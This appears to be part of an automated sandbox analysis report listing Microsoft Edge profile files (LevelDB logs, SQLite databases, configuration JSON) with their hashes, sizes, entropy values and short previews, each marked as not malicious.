SSDEEP:	6:7ONhbs3+q2PN723oH+Tcwt9Eh1tIFUt8OONhBIZmw+OONh2VkwON723oH+Tcwt9O:7OrQOvVaYeb9Eh16FUt8OOrm/+OOrm5s
MD5:	44AB013B47C56D772DA6D13CD235E4FE
SHA1:	9573A0B0AF185B91235D3BB754F44C37863D569C
SHA-256:	F2AA8B52F49B33A997253083933EDA54009E9333429C92E1F278BD855CDD03DC
SHA-512:	F6500A31298BFAA7CD26D67878693A7B9D15E27F79237E5708DED571D68C76A485593619F86868169FF09B331861AF2D8D27EED0929A38B8933737FC9AF956A2
Malicious:	false
Preview:	2024/12/19-10:11:20.310 2298 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/19-10:11:20.312 2298 Recovering log #3.2024/12/19-10:11:20.327 2298 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	modified
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.129886416874124
Encrypted:	false
SSDEEP:	6:7OPj9+q2PN723oH+TcwtnG2tMsIFUt8OOPjJZmw+OOPS9VkwON723oH+TcwtnG2b:7OPEvVaYebn9GFUt8OOPl/+OOPM5OaYi
MD5:	2DC91745466443C0BB749F249EB98109
SHA1:	6E244CAAE56776641EA1A7F81AB5A28AD55B4A69
SHA-256:	5C3264FC8F9625B9365BB9898A34C5CCBCB9351BF76368CFF3940C87CC78175D
SHA-512:	6A40142FBC3E90D47E63EBB4A03306737FE5E53A5DDDD97B69A86AFE54A37EDACE8D07F959E9C1362262EF48AA64859AA164E766650CB1DC71D912332CF2026C
Malicious:	false
Preview:	2024/12/19-10:11:06.111 1d88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/19-10:11:06.111 1d88 Recovering log #3.2024/12/19-10:11:06.112 1d88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.129886416874124
Encrypted:	false
SSDEEP:	6:7OPj9+q2PN723oH+TcwtnG2tMsIFUt8OOPjJZmw+OOPS9VkwON723oH+TcwtnG2b:7OPEvVaYebn9GFUt8OOPl/+OOPM5OaYi
MD5:	2DC91745466443C0BB749F249EB98109
SHA1:	6E244CAAE56776641EA1A7F81AB5A28AD55B4A69
SHA-256:	5C3264FC8F9625B9365BB9898A34C5CCBCB9351BF76368CFF3940C87CC78175D
SHA-512:	6A40142FBC3E90D47E63EBB4A03306737FE5E53A5DDDD97B69A86AFE54A37EDACE8D07F959E9C1362262EF48AA64859AA164E766650CB1DC71D912332CF2026C
Malicious:	false
Preview:	2024/12/19-10:11:06.111 1d88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/12/19-10:11:06.111 1d88 Recovering log #3.2024/12/19-10:11:06.112 1d88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354104365628571
Encrypted:	false
SSDEEP:	6144:6A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:6FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	95E85A4FD6D9670098CF1B5250B97C5E
SHA1:	E7B0882E84E6E4896145360D2FABFE900CC3F687
SHA-256:	55155DFDF1826396E540BBA83655C1ECFDB6B578529E375F75F322DC42462E98
SHA-512:	25FA513A6BDAB3A43B3BA5CA73E0572DDC9048551C0E0B33D7C0A6E9090EEEB931066C78BF3BAB077DED8D23BEAB3E49E2A65D2801A3AFCEF7391E6AFF278CB7
Malicious:	false
Preview:	...m.................DB_VERSION.1..PBq...............&QUERY_TIMESTAMP:domains_config_gz2...13379094682849343..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.1119416662995985
Encrypted:	false
SSDEEP:	6:7ONhiXs1N723oH+Tcwtk2WwnvB2KLlpONhyr7+q2PN723oH+Tcwtk2WwnvIFUv:7Or3aYebkxwnvFLTOrbvVaYebkxwnQF2
MD5:	CB5FDC9610950362CA00A10F3853AA5E
SHA1:	5F2169FE6EC05D85C7C75651214901D190392BB8
SHA-256:	1443E393F1E6D6456233C8B59FBE71FECFD5F683D114724944836420B12C8400
SHA-512:	1BD04CAA3A91B0637B318F22E0A8C24D2E662D59B01FA8E0F0A36E75950E5876AA88AAD42613076B9158D6C67EAD2C847355EEEE3D29783E15A0E853357749E8
Malicious:	false
Preview:	2024/12/19-10:11:20.352 22d8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/12/19-10:11:20.414 22d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324607473856215
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RY:C1gAg1zfvA
MD5:	78B08F96691ECD00C27F06181B5F7E30
SHA1:	F256D4F07B386E7CB934A6626541C5A919DB48D2
SHA-256:	74F5D0AD967E1B0B0D9F3EE58631AD5A252DF93B3BFA2FC57CF35DCEB3CE2E1D
SHA-512:	A1E34327A5C4C54B42DA9D8C2FA3E1353C5EB646622ADA571A823BB526D4FA90D735B8D0D540202D6C91E39FBF76F700A496BF8243593DA2759F7805463B26D1
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	380
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWW
MD5:	9FE07A071FDA31327FA322B32FCA0B7E
SHA1:	A3E0BAE8853A163C9BB55F68616C795AAAF462E8
SHA-256:	E02333C0359406998E3FED40B69B61C9D28B2117CF9E6C0239E2E13EC13BA7C8
SHA-512:	9CCE621CD5B7CFBD899ABCBDD71235776FF9FF7DEA19C67F86E7F0603F7B09CA294CC16B672B742FA9B51387B2F0A501C3446872980BCA69ADE13F2B5677601D
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.117526275914281
Encrypted:	false
SSDEEP:	6:7OPd+q2PN723oH+Tcwt8aPrqIFUt8OOPWWZmw+OOPdVkwON723oH+Tcwt8amLJ:7OPd+vVaYebL3FUt8OOPp/+OOPdV5OaE
MD5:	48D0B2F38C22A3589055741EE777378B
SHA1:	EBDBD58E97925BA8254F815F4D77BD6BED43385E
SHA-256:	AA06DCD0AC6E49E96CB98129E7A665FEAF063801B7C609C0F0D6D7C234850430
SHA-512:	33FC009C331A77B65C12941F328E37514232937649B9936EB706DC31010B26FCD40495A988C6B04293C2081AE7323E36F75F228AF11ABD000CE2DA60544C3726
Malicious:	false
Preview:	2024/12/19-10:11:06.135 f0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/19-10:11:06.135 f0c Recovering log #3.2024/12/19-10:11:06.135 f0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.117526275914281
Encrypted:	false
SSDEEP:	6:7OPd+q2PN723oH+Tcwt8aPrqIFUt8OOPWWZmw+OOPdVkwON723oH+Tcwt8amLJ:7OPd+vVaYebL3FUt8OOPp/+OOPdV5OaE
MD5:	48D0B2F38C22A3589055741EE777378B
SHA1:	EBDBD58E97925BA8254F815F4D77BD6BED43385E
SHA-256:	AA06DCD0AC6E49E96CB98129E7A665FEAF063801B7C609C0F0D6D7C234850430
SHA-512:	33FC009C331A77B65C12941F328E37514232937649B9936EB706DC31010B26FCD40495A988C6B04293C2081AE7323E36F75F228AF11ABD000CE2DA60544C3726
Malicious:	false
Preview:	2024/12/19-10:11:06.135 f0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/12/19-10:11:06.135 f0c Recovering log #3.2024/12/19-10:11:06.135 f0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	380
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWW
MD5:	9FE07A071FDA31327FA322B32FCA0B7E
SHA1:	A3E0BAE8853A163C9BB55F68616C795AAAF462E8
SHA-256:	E02333C0359406998E3FED40B69B61C9D28B2117CF9E6C0239E2E13EC13BA7C8
SHA-512:	9CCE621CD5B7CFBD899ABCBDD71235776FF9FF7DEA19C67F86E7F0603F7B09CA294CC16B672B742FA9B51387B2F0A501C3446872980BCA69ADE13F2B5677601D
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.0919116392053985
Encrypted:	false
SSDEEP:	6:7OPtFN+q2PN723oH+Tcwt865IFUt8OOP6WZmw+OOPpVkwON723oH+Tcwt86+ULJ:7OP3N+vVaYeb/WFUt8OOPF/+OOPpV5O0
MD5:	FF8B6CD030D01448209720D198571A32
SHA1:	C7EAB5F05A272FC83C6119DEFB907BA4C2470A2F
SHA-256:	B4A842AA7F0BF25FBCA477574A1655BB9D591FAD34FAA87463B26B761385D160
SHA-512:	84AB0A2085BF94F6B4E0DC720AD7CE93A630E3140FC42042DC71671B95E1C8977DB3B3A34A6456450DEB1D77886C05956A216F7B62D59CD518D3F675D456684F
Malicious:	false
Preview:	2024/12/19-10:11:06.140 f0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/19-10:11:06.144 f0c Recovering log #3.2024/12/19-10:11:06.144 f0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.0919116392053985
Encrypted:	false
SSDEEP:	6:7OPtFN+q2PN723oH+Tcwt865IFUt8OOP6WZmw+OOPpVkwON723oH+Tcwt86+ULJ:7OP3N+vVaYeb/WFUt8OOPF/+OOPpV5O0
MD5:	FF8B6CD030D01448209720D198571A32
SHA1:	C7EAB5F05A272FC83C6119DEFB907BA4C2470A2F
SHA-256:	B4A842AA7F0BF25FBCA477574A1655BB9D591FAD34FAA87463B26B761385D160
SHA-512:	84AB0A2085BF94F6B4E0DC720AD7CE93A630E3140FC42042DC71671B95E1C8977DB3B3A34A6456450DEB1D77886C05956A216F7B62D59CD518D3F675D456684F
Malicious:	false
Preview:	2024/12/19-10:11:06.140 f0c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/12/19-10:11:06.144 f0c Recovering log #3.2024/12/19-10:11:06.144 f0c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW:
MD5:	914FD8DC5F9A741C6947E1AB12A9D113
SHA1:	6529EFE14E7B0BEA47D78B147243096408CDAAE4
SHA-256:	8BE3C96EE64B5D2768057EA1C4D1A70F40A0041585F3173806E2278E9300960B
SHA-512:	2862BF83C061414EFA2AC035FFC25BA9C4ED523B430FDEEED4974F55D4450A62766C2E799D0ACDB8269210078547048ACAABFD78EDE6AB91133E30F6B5EBFFBD
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.145841345837349
Encrypted:	false
SSDEEP:	6:7OPddxOq2PN723oH+Tcwt8NIFUt8OOPhEZmw+OOPhkkwON723oH+Tcwt8+eLJ:7OPdyvVaYebpFUt8OOPhE/+OOPhk5OaO
MD5:	05D84B79F118105A62BE84FE08C13258
SHA1:	BCFE7BBB19151E8A37460BCC5AC420D97069CB86
SHA-256:	F8DF898F9362B1D080687057FEE03D269CB90F9DCD82E49FA2AF8A0D12F6E3B3
SHA-512:	F2A9D16B19D049DBC9EE99672BA81190C0EBFECE4E16BA0BD2F948E79C22B40BF88465DB7C33E304AF3B26A52253A260BFE5926774E654BC98E74842ED05D39E
Malicious:	false
Preview:	2024/12/19-10:11:07.066 18b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/19-10:11:07.081 18b4 Recovering log #3.2024/12/19-10:11:07.081 18b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.145841345837349
Encrypted:	false
SSDEEP:	6:7OPddxOq2PN723oH+Tcwt8NIFUt8OOPhEZmw+OOPhkkwON723oH+Tcwt8+eLJ:7OPdyvVaYebpFUt8OOPhE/+OOPhk5OaO
MD5:	05D84B79F118105A62BE84FE08C13258
SHA1:	BCFE7BBB19151E8A37460BCC5AC420D97069CB86
SHA-256:	F8DF898F9362B1D080687057FEE03D269CB90F9DCD82E49FA2AF8A0D12F6E3B3
SHA-512:	F2A9D16B19D049DBC9EE99672BA81190C0EBFECE4E16BA0BD2F948E79C22B40BF88465DB7C33E304AF3B26A52253A260BFE5926774E654BC98E74842ED05D39E
Malicious:	false
Preview:	2024/12/19-10:11:07.066 18b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/19-10:11:07.081 18b4 Recovering log #3.2024/12/19-10:11:07.081 18b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 10, cookie 0x3, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	2.983339275891535
Encrypted:	false
SSDEEP:	192:oj9P0Dpz1IA876K3XaU9WeTCS6Wl9xkuhLFQkKJer9gHwpP/QRbtSlc1cP1r:oj9P02773pLHjlxQkQerPP/Kbt1c9
MD5:	481C094765FD1B5AD39C2DC57FA41825
SHA1:	DC7D52A8C5DE83699E08E06C4A3CEDB2E1A3A728
SHA-256:	FE41BC5D2040D4D1CF860EAFD43A3D6791773F935BAA7120CCB1317B0F785B82
SHA-512:	858A2F148C1F228435BA01DA30DEFC8BD8749D8EE4535A6E75E3C1FF8D9ABE3BD8AE8028E6DDB81EA0F50C5BFC1F9EECD03D1B5D98B24162E93EE4BD43DEA6D2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.217500967426478
Encrypted:	false
SSDEEP:	12:7OGyvVaYeb8rcHEZrELFUt8OOD/+OOZ5OaYeb8rcHEZrEZSJ:7O9VaYeb8nZrExg8OOnOLOaYeb8nZrE8
MD5:	F7F7FD53151BD67A00CF860F9CE48C49
SHA1:	0D1113313FC3EDC77DEA422F3BC51B6028D6D177
SHA-256:	D323DA4826972146E2DA634B50551C924F7DF0744D6DAAFCAAAB7FD407229098
SHA-512:	D6417F81E003FCADD784A474FDC271212CA33761734608E7818DFB4DB29BE9BB3D09D97B061AE5BAC69A2C6C849791F16AEB31DAE2EB62925AD38C5DB631949C
Malicious:	false
Preview:	2024/12/19-10:11:10.106 18b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/19-10:11:10.107 18b4 Recovering log #3.2024/12/19-10:11:10.107 18b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.217500967426478
Encrypted:	false
SSDEEP:	12:7OGyvVaYeb8rcHEZrELFUt8OOD/+OOZ5OaYeb8rcHEZrEZSJ:7O9VaYeb8nZrExg8OOnOLOaYeb8nZrE8
MD5:	F7F7FD53151BD67A00CF860F9CE48C49
SHA1:	0D1113313FC3EDC77DEA422F3BC51B6028D6D177
SHA-256:	D323DA4826972146E2DA634B50551C924F7DF0744D6DAAFCAAAB7FD407229098
SHA-512:	D6417F81E003FCADD784A474FDC271212CA33761734608E7818DFB4DB29BE9BB3D09D97B061AE5BAC69A2C6C849791F16AEB31DAE2EB62925AD38C5DB631949C
Malicious:	false
Preview:	2024/12/19-10:11:10.106 18b4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/19-10:11:10.107 18b4 Recovering log #3.2024/12/19-10:11:10.107 18b4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

